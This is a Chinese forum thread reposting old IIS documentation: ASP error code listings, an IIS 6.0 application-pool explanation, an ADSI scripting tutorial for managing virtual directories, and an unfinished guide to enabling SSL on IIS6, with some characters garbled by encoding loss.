0117 脚本结束标记丢失。脚本块缺少脚本结束标记 (</SCRIPT>) 或标记结束符号 (>)。
0118 对象的结束标记丢失。对象块缺少对象结束标记 (</OBJECT>) 或标记结束符号 (>)。
0119 Classid 或 Progid 属性丢失。对象实例 '|' 在对象标记中需要有效的 Classid 或 Progid。
0120 Runat 属性无效。脚本标记或对象标记的 Runat 属性只能有 'Server' 值。
0121 对象标记中的范围无效。对象实例 '|' 的作用范围不能是 Application 或 Session。要创建有 Session 或 Application 作用范围的对象实例,请将在 Global.asa 文件中加入 Object 标记。
0122 对象标记中的范围无效。对象实例 '|' 必须有 Application 或 Session 作用范围。这将应用于所有在 Global.asa 文件内创建的对象。
0123 缺少 Id 属性。缺少 Object 标记所需的 Id 属性。
0124 Language 属性丢失。缺少 Object 标记所需的 Language 属性。
0125 属性结束标记丢失。'|' 属性的值没有结束分隔符。
0126 未找到 Include 文件。未找到 Include 文件 '|'。
0127 HTML 注释的结束标记丢失。HTML 注释或在服务器端的包含文件缺少结束标记 (-->)。
0128 File 或 Virtual 属性丢失。Include 文件名必须用 File 或 Virtual 属性指定。
0129 未知的脚本语言。服务器上找不到脚本语言 '|'。
0130 File 属性无效。File 属性 '|' 不能以斜杠或反斜杠开始。
0131 不允许的父路径。Include 文件 '|' 不能包含 '..' 来表示父目录。
0132 编译错误。无*处理 Active Server Page '|'。
0133 ClassID 属性无效。对象标记有一个无效的 ClassID '|'。
0134 ProgID 属性无效。对象有一个无效的 ProgID '|'。
0135 循环包含。文件 '|' 包含它本身(可能是非直接地包含)。请检查包含文件中的其他 Include 语句。
0136 对象实例名无效。对象实例 '|' 试图使用一个保留名称。这个名称被 Active Server Pages 的内部对象使用。
0137 全局脚本无效。脚本块必须是允许的 Global.asa 过程之一。Global.asa 文件中不允许在 <% ... %> 内使用脚本指令。允许的过程名称是 Application_OnStart、Application_OnEnd、Session_OnStart 或 Session_OnEnd。
0138 脚本块嵌套。脚本块不可放在另一个脚本块内。
0139 嵌套对象。对象标记不能放在另一个对象标记内。
0140 页命令次序有误。@ 命令必须是 Active Server Page 中的第一个命令。
0141 页命令重复。@ 命令只可以在 Active Server Page 中使用一次。
0142 线程令牌错误。无*打开线程令牌。
0143 应用程序名无效。未找到有效的应用程序名称。
0144 初始化错误。初始化时页级别的对象列表失败。
0145 新应用程序失败。无*添加新的应用程序。
0146 新会话失败。无*添加新的会话。
0147 500 服务器错误。
0148 服务器太忙。
0149 正在重新启动应用程序。重启动应用程序期间无*处理请求。
0150 应用程序目录错误。无*打开应用程序目录。
0151 更改通知错误。无*创建更改通知事件。
0152 安全错误。处理用户安全凭据时发生错误。
0153 线程错误。新线程请求已失败。
0154 HTTP 头写入错误。HTTP 头无*写入客户端浏览器。
0155 页内容写入错误。页内容无*写入客户端浏览器。
0156 头错误。HTTP 头已经写入到客户端浏览器。任何 HTTP 头必须在写入页内容之前修改。
0157 启用缓冲。缓冲启用后不能关闭。
0158 URL 丢失。URL 是必需的。
0159 缓冲已关闭。缓冲必须启用。
0160 日志记录错误。将条目写入日志失败。
0161 数据类型错误。将 Variant 转换为 String 变量失败。
0162 不能修改 Cookie。不能修改 Cookie 'ASPSessionID'。它是一个保留的 Cookie 名。
0163 逗号用*无效。日志条目内不可使用逗号。请选择另一个分隔符。
0164 TimeOut 值无效。指定的 TimeOut 值无效。
0165 SessionID 错误。无*创建 SessionID 字符串。
0166 对象未初始化。试图访问未初始化的对象。
0167 会话初始化错误。初始化 Session 对象时发生错误。
0168 禁止的对象使用。Session 对象中不能保存内部对象。
0169 缺少对象信息。Session 对象中不能保存信息不全的对象。需要对象的线程模型信息。
0170 删除会话错误。无*正确删除 Session。
0171 路径丢失。必须为 MapPath 方*指定 Path 参数。
0172 路径无效。MapPath 方*的路径必须是虚拟路径。使用了一个实际的路径。
0173 路径字符无效。MapPath 方*的 Path 参数中指定了一个无效字符。
0174 多个路径字符无效。MapPath 方*的 Path 参数中指定了无效的 '/' 或 '\'。
0175 不允许的路径字符。MapPath 方*的 Path 参数中不允许使用 '..' 字符。
0176 未找到路径。MapPath 方*的 Path 参数与已知路径不符。
0177 Server.CreateObject 失败。%s
0178 Server.CreateObject 访问错误。检查权限时调用 Server.CreateObject 失败。对此对象的访问被拒绝。
0179 应用程序初始化错误。初始化 Application 对象时发生错误。
0180 禁止的对象使用。Application 对象中不能保存内部对象。
0181 线程模型无效。使用单元线程模型的对象不能存储在 Application 对象中。
0182 对象信息丢失。Application 对象中不能保存信息不全的对象。需要此对象的线程模型信息。
0183 空 Cookie 项。不能保存空项 Cookie。
0184 Cookie 名称丢失。必须为 Cookie 指定名称。
0185 默认属性丢失。未找到对象的默认属性。
0186 证书分析错误。
0187 对象添加冲突。无*将对象添加到应用程序。应用程序被另一个要求添加对象的请求锁定。
0188 禁止的对象使用。无*将用对象标记创建的对象添加到会话内部。
0189 禁止的对象使用。无*将用对象标记创建的对象添加到应用程序内部。
0190 意外错误。释放外部对象时发生可捕获错误。
0191 意外错误。外部对象的 OnStartPage 方*中发生可捕获错误。
0192 意外错误。外部对象的 OnEndPage 方*中发生可捕获错误。
0193 OnStartPage 失败。外部对象的 OnStartPage 方*中出错。
0194 OnEndPage 失败。外部对象的 OnEndPage 方*中出错。
0195 无效的服务器方*调用。Session_OnEnd 和 Application_OnEnd 期间不能调用 Server 对象的此方*。
0196 无*启动进程外组件。只能使用 InProc 服务器组件。若要使用 LocalServer 组件,必须设置 AspAllowOutOfProcComponents 配置数据库设置。请参阅帮助文件,了解重要注意事项。
0197 禁止的对象使用。不能将有单元模型行为的对象添加到应用程序内部对象。
0198 服务器正在关闭。不能处理请求。
0199 禁止的对象使用。不能将 JScript 对象添加到会话。
0200 超出 'Expires' 属性范围。为 'Expires' 指定的日期和时间在 1980 年 1 月 1 日之前或在 2038 年 1 月 19 日 3:14:07 GMT 之后。
0201 默认脚本语言无效。为此应用程序指定的默认脚本语言无效。
0202 代码页丢失。代码页属性丢失。
0203 代码页无效。指定的代码页属性无效。
0204 CodePage 值无效。指定的 CodePage 值无效。
0205 更改通知。创建更改通知事件失败。
0206 不能调用 BinaryRead。使用 Request.Form 集合后不能调用 BinaryRead。
0207 不能使用 Request.Form。调用 BinaryRead 后不能使用 Request.Form 集合。
0208 不能使用通用 Request 集合。调用 BinaryRead 后不能使用通用 Request 集合。
0209 TRANSACTION 属性的值非*。TRANSACTION 属性只能是 REQUIRED、REQUIRES_NEW、SUPPORTED 或 NOT_SUPPORTED。
0210 方*未实施。此方*尚未实施。
0211 对象超出范围。引用内置的 ASP 对象,此操作已不再有效。
0212 无*清除缓冲区。客户端调试启用时,Response.Flush 之后不能有 Response.Clear。
0214 路径参数无效。Path 参数超出允许的最大长度。
0215 ENABLESESSIONSTATE 属性的值非*。ENABLESESSIONSTATE 属性的值只能是 TRUE 或 FALSE。
0216 MSDTC 服务未运行。如果未运行 MSDTC 服务,则不能运行事务性网页。
0217 对象标记中的范围无效。对象的作用范围必须是 Page、Session 或 Application。
0218 LCID 丢失。LCID 属性丢失。
0219 LCID 无效。指定的 LCID 不可用。
0220 不允许请求 GLOBAL.ASA。不允许请求指向 GLOBAL.ASA 的 URL。
0221 @ 命令指令无效。指定的 '|' 选项未知或无效。
0222 TypeLib 规范无效。METADATA 标记包含无效的类型库规范。
0223 未找到 TypeLib。METADATA 标签含有的类型库规范和注册表项不符。
0224 无*加载 TypeLib。无*加载 METADATA 标记中指定的类型库。
0225 无*包装 TypeLib。不能通过 METADATA 标记中指定的类型库创建类型库包装对象。
0226 无*修改 StaticObjects。运行时无*修改 StaticObjects 集合。
0227 Server.Execute 失败。调用 Server.Execute 失败。
0228 Server.Execute 错误。加载此页时调用 Server.Execute 失败。
0229 Server.Transfer 失败。调用 Server.Transfer 失败。
0230 Server.Transfer 错误。加载此页时调用 Server.Transfer 失败。
0231 Server.Execute 错误。使用的 URL 格式无效,或者使用了完全限定的绝对 URL。请使用相对 URL。
0232 Cookie 规范无效。METADATA 标记包含无效的 Cookie 规范。
0233 无*加载 Cookie 脚本源。无*加载 METADATA 标记中指定的 Cookie 脚本源文件。
0234 包含指令无效。脚本块中可能没有服务器端包含文件指令。请使用 <SCRIPT> 标签的 SRC= 属性。
0235 Server.Transfer 错误。使用的 URL 格式无效,或者使用了完全限定的绝对 URL。请使用相对 URL。
0236 Cookie 规范无效。METADATA 标记包含无效的 SRC 参数或缺少该参数。
0237 Cookie 规范无效。METADATA 标记包含无效的 NAME 参数或缺少该参数。
0238 属性值丢失。没有为 '|' 属性指定值。
0239 无*处理文件。不支持 UNICODE ASP 文件。
0240 脚本引擎异常。ScriptEngine 在 '%s' 中从 '%s' 引发 '%X' 异常。
0241 CreateObject 异常。'%s' 的 CreateObject 引发 %X 异常。
0242 查询 OnStartPage 接口异常。查询的 '%s' 对象的 OnStartPage 或 OnEndPage 方*引发 %X 异常。
0243 Global.asa 中的 METADATA 标记无效。Global.asa 中只能使用 METADATA TYPE="TypeLib"。
0244 无*启用会话状态。应用程序中禁用会话时,无*启用会话状态。
0245 代码页值混合使用。指定的 @CODEPAGE 值与包含文件的 CODEPAGE 或文件的已保存格式的值不同。
0246 并发用户太多。请稍后再试..
0247 BinaryRead 的参数无效。BinaryRead 的参数必须为非负值。
0248 未处理脚本。必须处理此 ASP 文件才能使用 ObjectContext 对象。
0249 无*在 Request 上使用 IStream。使用 Request.Form 集合或 Request.BinaryRead 后无*在 Request 对象上使用 IStream。
0250 默认代码页无效。为此应用程序指定的默认代码页无效。
0251 超出响应缓冲区限制。ASP 页的执行引起响应缓冲区超出其配置限制
pdf,caj,kdh格式请用Adobe Reader或者CAJViewer打开阅读
有任何问题可以到网站会议室举报或提问。

TOP

在IIS 6.0文档中,可以看到一种叫做“应用程序池”的新特性。一个应用程序池包含一个或者一组工作进程,而且应用程序池是可以命名的。应用程序池可以从下列角度理解:在IIS 5.0中,我们可以将应用程序保护设置为低级(IIS进程)、中级(缓冲池)、高级(隔离),这个功能虽然很有用,但如果我们想要在一个池(一个dllhost.exe的实例)中运行两个应用程序,在另一个池(另一个dllhost.exe的实例?)中运行另外两个应用,该怎么办?IIS 5.0没有提供命名dllhost.exe实例的途径,因而也就不能将两个特定的应用放入某个池运行。IIS 6.0的应用程序池允许指定名称,如图七,通过网站“属性”对话框的“主目录”页,可以方便地将Web网站或目录放入应用程序池。
  前面我们了解了IIS 6.0体系结构的关键组件,下面来看看有关应用程序池的一些问题。应用程序池的“属性”对话框有四页——回收,性能,运行状况,标识,如图六所示。在这些选项页中,最引人注目的恐怕就是“回收”页,使用该选项页可以管理工作进程的回收。在工作进程隔离模式中,
IIS可以配置成定期重新启动应用程序池中的工作进程,从而更好地管理那些有错误的工作进程。这确保了池中的应用程序运行正常,并且可以恢复丢失的系统资源。为了回收工作进程,失败工作进程接收请求的能力将被限制,直到它处理完存储在请求队列中的所有剩余请求。为了排出当前请求,可以给予进程配置限制。同一命名空间组的替换工作进程在旧的工作进程停止前启动,从而防止服务中断。旧的进程完成其未决的请求,然后正常关闭,或者如果在达到了配置的时间限制、请求数、设置的时间计划,或当达到指定的内存用量限制后仍没有关闭,则明确地终止进程。默认情况下,应用程序池每隔1740分钟(29小时)回收一次。
  W3SVC根据“运行状况”页的选项来判断应用程序池运行是否正常,包括:每隔指定的时间Ping工作进程,时间按秒计,默认值30秒;启动时间限制(工作进程必须在指定的时间内开始);关闭时间限制(工作进程必须在指定的时间内关闭);是否启动快速失败保护(如果在指定的时间段内一定数目的工作进程发生失败,则禁用应用程序池)。另外,ISAPI应用程序(包括ASP.NET和asp.dll)可以声明自己不再适合提供服务,要求回收。
  默认情况下,当IIS 6.0回收一个池时,它会使用一种称为overlapped recycle的回收技术。在这种回收模式下,失败的工作进程仍会保持运行状态,同时创建一个新的工作进程。IIS 6.0把新传入的请求传递给新的工作进程,但不拆除老的工作进程,直至老的工作进程处理完它队列中的请求,或者遇到超时错误。在此期间,TCP/IP连接不会丢失,因为有http.sys保持着连接的有效性。当失败的工作进程超时出错时,下一个请求传递给工作进程的请求是新的请求,因此原来保存在进程中的会话信息就会丢失。所有这类回收操作都自动进行,无需管理员干预,而且在大多数情况下,不会造成明显的服务中断现象。如有必要,可以将配置数据属性LogEventOnRecycle的值设置为1,指示W3SVC执行回收操作时生成一条事件日志记录。
  对于那些不能以多个实例运行的应用程序,overlapped recycle回收技术可能引起问题。如果遇到这类问题,可以将配置数据属性DissallowOverlappingRotation的值设置成True(1),关闭某个应用程序池回收操作时的进程“重叠”现象。另外,对于失败的工作进程,有时我们可能不想将它拆除,仍旧保留该进程,以便检测和寻找发生问题的根源,这时可以将配置数据属性OrphanActionExe设置成执行文件的名字,使得工作进程成为“孤儿”时执行文件仍保持运行状态。
  另一个与应用程序池有关的特性是,IIS 6.0允许将应用程序池配置成一个Web园(Web Garden)。要理解Web园的概念,可以设想这样一种情形:假设有一个IIS 5.0服务器和三个Web网站,每一个Web网站运行着相同的应用程序,如果IIS 5.0能够自动按照圆形循环的模式将请求依次发送给这些功能上等价、实际上分离的Web网站,将负载分离到三个不同的进程,就可以构成一个小型的Web农场(Web Farm)——这就是Web园。
  在IIS 6.0的Web园中,我们不必创建额外的Web网站,只要指定用于某个应用程序池的工作进程的数量就可以了。具体的配置步骤是:打开应用程序池的“属性”对话框,转到“性能”页,在“Web园”下面的“最大工作进程数”输入框中输入进程数量,如图八。当服务器的负载较小,不需要额外的工作进程时,IIS 6.0在一定的时间后(默认20分钟,可配置)自动缩减实际的工作进程数量;如果负载变大,需要额外的工作进程,IIS 6.0再次增加工作进程数量。这一切操作都自动进行,不需要管理员干预。
pdf,caj,kdh格式请用Adobe Reader或者CAJViewer打开阅读
有任何问题可以到网站会议室举报或提问。

TOP

你曾经相通过VBS添加一个虚拟目录吗?(我想过~)自动建立ISAPI服务器扩展?或者建立一整个站点,
包括权限?你可以用ADSI做这些和更多的事情.
ADSI (Active Directory Services Interface)是一种应用程序数据接口.微软的操作系统支持ADS
I的有Windows NT 4.0 Server, Exchange, IIS, 和Site Server.在WIN2K中ADSI将会成为操作系统
的接口并且可能取代注册表.ADSI的关键并不在于底层的数据存储,而在于它自已的接口层.用一个
接口,只要学习一次,你就可以配置所有的服务器程序.(是不是很爽啊,呵呵!)不像API,你可以使用
所有的语言或环境来通过COM访问ADSI.(这是后话!)
警告:
在运行本文章的例子之前,请先备份IIS4.0:
打开MMC
(以下略去备份过程)
面向对象的数据库
ADSI对所有的数据都当作对象来看待.用ADSI你可以熟练地操作所有的数据而不用去学一种数据库
查询语言如SQL.相对于一个关系型的数据库,建立一个面向对象的数据库要简单和快速一些.在一个
关系数据库中程序员不得不要知道一个对象是如何破坏和存储的;然而面向对象的数据存储,像ADSI
,不存在这些问题.程序员只要知道你想要访问的那个对象的名字.
为了去对比这两种数据库类型,设想你要一个员工的资料:个人信息,部门信息,和薪水信息.在一个
关系数据库中,这三个数据可能会被分别放在三个表中.而且对数据库的一个更改可能只会影响到其
中的一部分表,对数据库的修改程序员不得不通过一种数据库查询语言如SQL.很少用人去注意对象
是如何被存储的(除了数据库管理员).然而ADSI把所有的信息视为对象,对象之间的联系正是ADSI执
行的一部分,因此,这一部分就不再需要程序员处理了.一旦你学会了处理一种ADSI数据,你就学会了
处理所有的ADSI数据库.作为一个对比,你可能需要学习每一种关系数据库语言如果你要用不同的数
据库的话.(像FOXPRO)
数据结构
数据库结构是一个分级的模型.一个对象节点可以是另一个节点的父节点,兄弟结点,或者一个子节
点.每一个子节点继承父节点的属性.数据库有两个逻辑部分.第一个是定义数据和数据关联的计划.
第二个部分是数据的实际存储.定义一个员工对象是放在计划部分,个人信息放在数据部分.
获得一个对象的实例
不像COM,你不用去使用SERVER.CREATEOBJECT去获得一个ADSI对象的实例.你只需使用GETOBJECT方
法和一个指定服务器和联接位置的参数.例子一有两个GETOBJECT的例子.在第一种情况下,代码建立
了一个WINDOWS NT的ADSI实例.每二个例子取得了一个IIS的ADSI对象.
Example 1
For Windows NT
Set Object = GetObject("WinNT://15seconds" )
For LDAP
Set Object = GetObject("IIS://localhost/w3svc/1")
一些AD服务接口用一种特别的被称为X.500华贵名称的命名规则.IIS并没有用这种规则但是你必须
对X.500这一个命名规则因为你有可能还要操作其它的ADSI数据.你可以
ftp://src.doc.ic.ac.uk/rfc/rfc1484.txt 得到相关资料.
数据取回
当我们在一个LDAP服务器上寻找信息时,我们必须知道是否信息在实例中或者在规划部分.举一个例
子来说,一个对象名称可以包含在一个对象实例中但是一个对象属性的列表将会存储在一个计划部
分.员工名称,雇佣日期,和部门被存储在员工对象中.计划部分存储了员工属性的定义像数据类型.
例二说明了一个对象实例和对象计划的定义.
Example 2
Employee Instance
Name: Bob Jones
Hire Date: 1/1/98
Department: Information Technology
Employee Object Instance
Attribute "Name", single value, data-type "text", maxlength 50"
Attribute "Hire Date", single value, data-type "date"
Attribute "Department", single value, data-type "text"
对SQL程序员来说,对象定义和一个表的定义是相似的.对象实例就像是一个表中的特定的一行.SQL
和ADSI的区别就在于数据是不是跨越了多个表,程序员是否需要管理数据之间的关系.在ADSI中,接
口是这些关系的负责人.
默认WEB站点的通有属性
第一个例子可以看到IIS4.0的默认WEB站点的属性.在例3中,代码会联接到本地机的默认WEB站点.
Example 3
<%
strMachineName = "localhost" 'domain name
strObjectPath = "W3SVC/1" 'object name
'construct object location in IIS
strPath = "IIS://" & strMachineName & "/" & strObjectPath
Set IISObject = GetObject (strPath) 'connect to IIS metabase
%>
Name = "<%= IISObject.Name %>"
Parent= "<%= IISObject.Parent %>"
SchemaLocation = "<%= IISObject.Schema %>"
Class = "<%= IISObject.Class %>"
Guid = "<%= IISObject.Guid %>"
ADSPath = "<%= IISObject.AdsPath %>"
输出显示是:
Name = "1"
Parent= "IIS://localhost/W3SVC"
SchemaLocation = "IIS://localhost/schema/IIsWebServer"
Class = "IIsWebServer"
Guid = "{8B645280-7BA4-11CF-B03D-00AA006E0975}"
ADSPath = "IIS://localhost/W3SVC/1"
注意:如果你要在一个ASP页面中运行本程序,请确定登陆的用户被授予了管理员的权限.
在最后一个例子的数据取回可以用于任何一个对象,包括计划对象.每一个对象不管他是一个实在的
对象还是一个计划对象都肯定有这些属性:名称,父,计划定们,CLASS,GUID,和ADS路径.
这些信息包括了通过分级结构访问数据的一些导航信息.NAME属性是一个对象的名称.一个parent属
性告诉了父对象的位置.schemalocation属性指的是计划对象的位置.class属性包括了对象的类型,
它包括了一个对象所有的属性并且被定们到schemalocation这个位置.GUID属性是一个对象的唯一
的识别码.ADSPath是你取回的这个对象的位置.
注:名为1的服务器代表默认的WEB站点
默认WEB站点的属性
既然我们已经知道了对象的位置和对象的类型,那就让我们来看一看默认WEB站点的属性.为了达到
这个目的,我们必须要取得默认WEB站点的计划(schema),找出相关的属性,并且看默认WEB站点的这
些属性的值.
Example 4
<%
strMachineName = "localhost"
strObjectPath = "W3SVC/1" 'find first web server listed in w3svc
strPath = "IIS://" & strMachineName & "/" & strObjectPath
Set IISObject = GetObject (strPath)
'find location of web server's definition
Set ClassDefinition = GetObject(IISObject.Schema)
%>
<table border=1>
<tr><th>Default Web Server Property</th><th>Default Web Server Value</th></tr>
<tr><td>Name</td><td><%= IISObject.Name %></td></tr>
<tr><td&gtarent</td><td><%= IISObject.Parent %></td></tr>
<tr><td>SchemaLocation</td><td><%= IISObject.Schema %></td></tr>
<tr><td>Class</td><td><%= IISObject.Class %></td></tr>
<tr><td>Guid</td><td><%= IISObject.Guid %></td></tr>
<tr><td>ADSPath</td><td><%= IISObject.AdsPath %></td></tr>
</table>
<table border=1>
<tr><th>Class Property</th><th>Class Value</th></tr>
<tr><td>Name</td><td><%= ClassDefinition.Name %></td></tr>
<tr><td&gtarent</td><td><%= ClassDefinition.Parent %></td></tr>
<tr><td>SchemaLocation</td><td><%= ClassDefinition.Schema %></td></tr>
<tr><td>Class</td><td><%= ClassDefinition.Class %></td></tr>
<tr><td>Guid</td><td><%= ClassDefinition.Guid %></td></tr>
<tr><td>ADSPath</td><td><%= ClassDefinition.AdsPath %></td></tr>
</table>
<%
on error resume next
asMustHaves = ClassDefinition.MandatoryProperties
asMayHaves = ClassDefinition.OptionalProperties
i=1
%>
<table border=1>
<tr><th>Class Must Have Property</th>
<th>Default Web Site Current Value</th></tr>
<%
For Each Thing in asMustHaves
Response.Write "<tr><td>("& Cstr(i) & ") " &_
Thing & "</td><td>" &_
IISObject.Get(Thing) & "</td></tr>"
i = i + 1
Next
%>
</table>
<table border=1>
<tr><th>Class May Have Property</th>
<th>Default Web Site Current Value</th></tr>
<%
i=1
For Each Thing in asMayHaves
Response.Write "<tr><td>("& CStr(i) & ") " &_
Thing & "</td><td>" &_
IISObject.Get(Thing) & "</td></tr>"
i = i + 1
Next
%>
</table>
为了取得默认WEB站点的属性,你需要知道属性的名称,或者 isWebServer这一类的属性的列表.在例
4中,我们取得了所有的属性并且列出了他们的值.每个对象都可以有强制的和自已的属性.强制的属
性在每个对象建立时就产生了.
注意:如果IISWEBSERVER只列出了一些可选的属性,在参考IIS文档之前请不要建立一个新的WEB站
点的对象。ADSI对IIS的执行打破了这个规则。有一些必须的属性列在了可选的属性列表中。如果
你在建立一个WEB站点时没有对必要的属性进行设置,你的元数据库可能被破坏。
注意:ADSI不会在错误时停下了,它会继续前进。
建立一个虚拟目录
在例五中我们将在默认的WEB站点下建立一个虚拟目录。我们将先列出一个虚拟目录的所有属性然
后再建立一个虚拟目录。为了列出一个目录的所有属性,我借用了例3的一些代码,只不过将站点
改成了虚拟目录,你必须知道必须的属性:我们要建立怎样的WEB服务器,它的名字,它的物理路
径,一旦你建立了一个虚拟目录后你再将它们的属性一一设置。例五讲了怎样利用这些。
Example 5
<%
sComputer ="localhost"
sPhyDir = "c:\adsi"
sVirDir = "ADSITest"
'Get Default Web Site Object
set websvc = GetObject("IIS://" & sComputer & "/W3svc/1")
'Verify by printing out ServerComment
Response.Write "Comment = " & websvc.ServerComment & "
"
'Get root of Default Web Site
set vRoot = websvc.GetObject("IIsWebVirtualDir", "Root")
'Get Class Definition of virtual directory
Set ClassDefinition = GetObject(vRoot.Schema)
'Get list of mandatory properties
asMustHaves = ClassDefinition.MandatoryProperties
'Get list of optional properties
asMayHaves = ClassDefinition.OptionalProperties
i=1
%>
<table border=1>
<tr><th>Class Must Have Property</th>
<th>Root Virtual Directory Current Value</th></tr>
<%
on error resume next
For Each Thing in asMustHaves
Response.Write "<tr><td>("& Cstr(i) & ") " &_
Thing & "</td><td>" & vRoot.Get(Thing) &_
"</td></tr>"
i = i + 1
Next
%>
</table>
<table border=1>
<tr><th>Class May Have Property</th>
<th>Default Web Site Current Value</th></tr>
<%
i=1
For Each Thing in asMayHaves
Response.Write "<tr><td>("& CStr(i) & ") " &_
Thing & "</td><td>" & vRoot.Get(Thing) &_
"</td></tr>"
i = i + 1
Next
on error goto 0
'Create Virtual Directory
&#39aram 1 is class name
&#39aram 2 is the new object name
Set vDir = vRoot.Create("IIsWebVirtualDir",sVirDir)
'Only setting two properties
vDir.AccessRead = true
vDir.Path = sPhyDir
'Write information back to Metabase
vDir.SetInfo
%>
在这个例子中,为了建立一个对象的实例,父对象被用到了。建立对像的实例用的是对象的class
名称。而这个对象没有强制的属性,一些对象有强制的属性。如果你没有设置这些必要的属性,当
你使用object.setinfo时就会出错。
为了检验这个虚拟目录是否已经建立了,你可以打开IIS看一下。另一个方法是再运行一遍程序,
如果上次已经建立了,你这次就会得到错误结果。(推荐前一种,SUNWEN)
别一个ADSI的特征是在OBJECT。SETINFO被运行之前,所有的属性设置都不会生效。这使你的站点
不会受一些非正规的影响(如果一个人正在请求这个站点的话,就会出现错误)。这比一个关系型
的数据库更加简单。ADSI会自动完成所有相关的数据的设置,你就可以不用使用N次的INSERT语句
(嘻嘻,老外和SUNWEN一样幽默!)。更新也一样。你只需一次则可。
加入一个默认的文档
在这个例子中,我们将把"index.htm"这个文件加入到默认文档的列表中。为了实现这一目标,我
们要从数据源中得到这个虚拟目录,改变与默认文档相关的属性,然后把信息写回去。
Example 6
<%
sComputer ="localhost"
sPhyDir = "c:\dina\adsi"
sVirDir = "ADSITest"
'Get Default Web Site Object
set websvc = GetObject("IIS://" & sComputer & "/W3svc/1")
'Verify by printing out ServerComment
Response.Write "Comment = " & websvc.ServerComment & "
"
'Get root of Default Web Site
set vRoot = websvc.GetObject("IIsWebVirtualDir", "Root")
'Create Virtual Directory
Set vDir = vRoot.Create("IIsWebVirtualDir",sVirDir)
'Get local copy of object
vDir.GetInfo
Response.Write "Old Default Docs = " & vDir.DefaultDoc & "<BR>"
'Only setting two properties
vDir.DefaultDoc = vDir.DefaultDoc & ",index.htm"
'Write information back to Metabase
vDir.SetInfo
'Get Object Again
vDir.GetInfo
Response.Write "New Default Docs = " & vDir.DefaultDoc
%>
在这个例子中,我们是用了objec.getinfo这个语句把信息取回的。它一次性把所有的信息都取回
了。然后我们用setinfo这个语句把信息重新设置了回去。
删除一个虚拟目录
在这个例子中,你将学习到如何删除一个虚拟目录。当建立一个对象时,你必须有它的父对象。这
个真理也同样适用于删除。例七表明了如何做。
Example 7
<%
on error resume next
sComputer ="localhost"
sPhyDir = "c:\dina\adsi"
sVirDir = "ADSITest"
'Get Default Web Site Object
set websvc = GetObject("IIS://" & sComputer & "/W3svc/1")
'Verify by printing out ServerComment
Response.Write "Comment = " & websvc.ServerComment & "
"
'Get root of Default Web Site
set vRoot = websvc.GetObject("IIsWebVirtualDir", "Root")
'Delete Virtual Directory
Set vDir = vRoot.Delete("IIsWebVirtualDir",sVirDir)
%>
pdf,caj,kdh格式请用Adobe Reader或者CAJViewer打开阅读
有任何问题可以到网站会议室举报或提问。

TOP

互联网充满了危险,而很多重要的应用却建立在互联网之上。你一定不会希望你的银行帐户密码被网上的嗅探者截获,而避免这类问题的一个重要方法就是对网络传输进行加密。在众多的加密方式中,SSL加密方式是一种工业标准的非常成熟的方法。众多电子商务与电子支付站点都广泛使用了这种技术。在以后的几篇文章里,我们将分别介绍在windows平台与linux平台下如果实现SSL对WEB服务器传输进行加密。最后会介绍一些关于SSL加密原理的问题。本文,我们先介绍一下如果在windows的IIS平台下实现SSL保护的方法。
  笔者以Windows Server 2003(简称Windows 2003)系统为例,介绍如何在IIS6服务器中应用SSL安全加密机制功能。
  生成证书请求文件
  要想为某个IIS网站创建数字证书,首先必须使用“Web服务器证书向导” 功能为该网站生成一个证书请求文件。进入“控制面板→管理工具→Internet 信息服务(IIS)管理器”,在IIS管理器窗口中展开“网站”目录,右键点击要使用SSL安全加密机制功能的网站,在弹出菜单中选择“属性”,然后切换到“目录安全性”标签页(如图),接着点击“服务器证书”按钮。在“IIS证书向导”窗口中选择“新建证书”选项,点击“下一步”,选中“现在准备证书请求,但稍后发送”,接着在“名称”栏中为该证书起个名字,在“位长”下拉列表中选择“密钥的位长”,这里要注意,位长不能设置的过大,否则会影响通信质量;接着设置证书的单位、部门、和地理信息,在站点“公用名称栏”中输入该网站的域名,然后指定证书请求文件的保存位置,这里笔者将该证书请求文本文件保存在“d:\certreq.txt”。这样就完成了证书请求文件的生成。 IIS站点目录的安全性属性页
申请IIS网站证书
  完成了证书请求文件的生成后,就可以开始申请IIS网站证书了。但这个过程需要证书服务(Certificate Services)的支持。Windows 2003系统默认状态没安装此服务,需要手工添加。
  安装证书服务
  在“控制面板”中运行“添加或删除程序”,切换到“添加/删除Windows组件”页,在“Windows组件向导”对话框中,选中“证书服务”选项,接下来选择CA类型,这里笔者选择“独立根CA”,然后为该CA服务器起个名字,设置证书的有效期限,建议使用默认值“5年”即可,最后指定证书数据库和证书数据库日志的位置后,就完成了证书服务的安装。 安装证书服务
  完成了证书服务的安装后,就能开始申请IIS网站证书了。运行 Internet Explorer浏览器,在地址栏中输入“http://localhost/CertSrv/default.asp”。接着在“Microsoft 证书服务”欢迎窗口中点击“申请一个证书”链接,然后在证书申请类型中点击“高级证书申请”链接,在高级证书申请窗口中点击“使用BASE64编码的 CMC或PKCS#10文件提交….”链接,接着将证书请求文件的内容复制到“保存的申请”输入框中,这里笔者的证书请求文件内容保存在“d:\ certreq.txt”,最后点击“提交”按钮。提交申请页面
  颁发IIS网站证书
  虽然完成了IIS网站证书的申请后,但这时它还处于挂起状态,需要颁发后才能生效。在“控制面板→管理工具”中,运行“证书颁发机构”程序。在“证书颁发机构”左侧窗口中展开目录,选中“挂起的申请”目录,在右侧窗口找到刚才申请的证书,鼠标右键点击该证书,选择“所有任务→颁发”。 颁发证书
  接着点击 “颁发的证书”目录,打开刚刚颁发成功的证书,在 “证书”对话框中切换到“详细信息”标签页。点击“复制到文件”按钮,弹出证书导出对话框,一路下一步,在“要导出的文件”栏中指定文件名,这里笔者保存证书路径为“d:\cce.cer”,最后点击“完成”。
  导入IIS网站证书
  在IIS管理器的“目录安全性”标签页中,点击“服务器证书”按钮,这时弹出“挂起的证书请求”对话框,选择“处理挂起的请求并安装证书”选项,点击“下一步”后,指定好刚才导出的IIS 网站证书文件的位置,接着指定SSL使用的端口,建议使用默认的“443”,最后点击“完成”按钮.
配置IIS服务器
  完成了证书的导入后,IIS网站这时还没有启用SSL安全加密功能,需要对IIS服务器进行配置。
  选择需要加密访问的站点目录(如果希望全站加密,可以选择整个站点),右键单击打开属性页,在“目录安全性”标签页,点击安全通信栏的“编辑”按钮,选中“要求安全通道(SSL)”和“要求128位加密”选项,最后点击“确定”按钮即可。如果需要用户证书认证等高级功能,也可以选择要示客户证书选择,还可以把特定证书映射为windows用户帐户。 设置目录的加密属性
  关于SSL安全加密机制
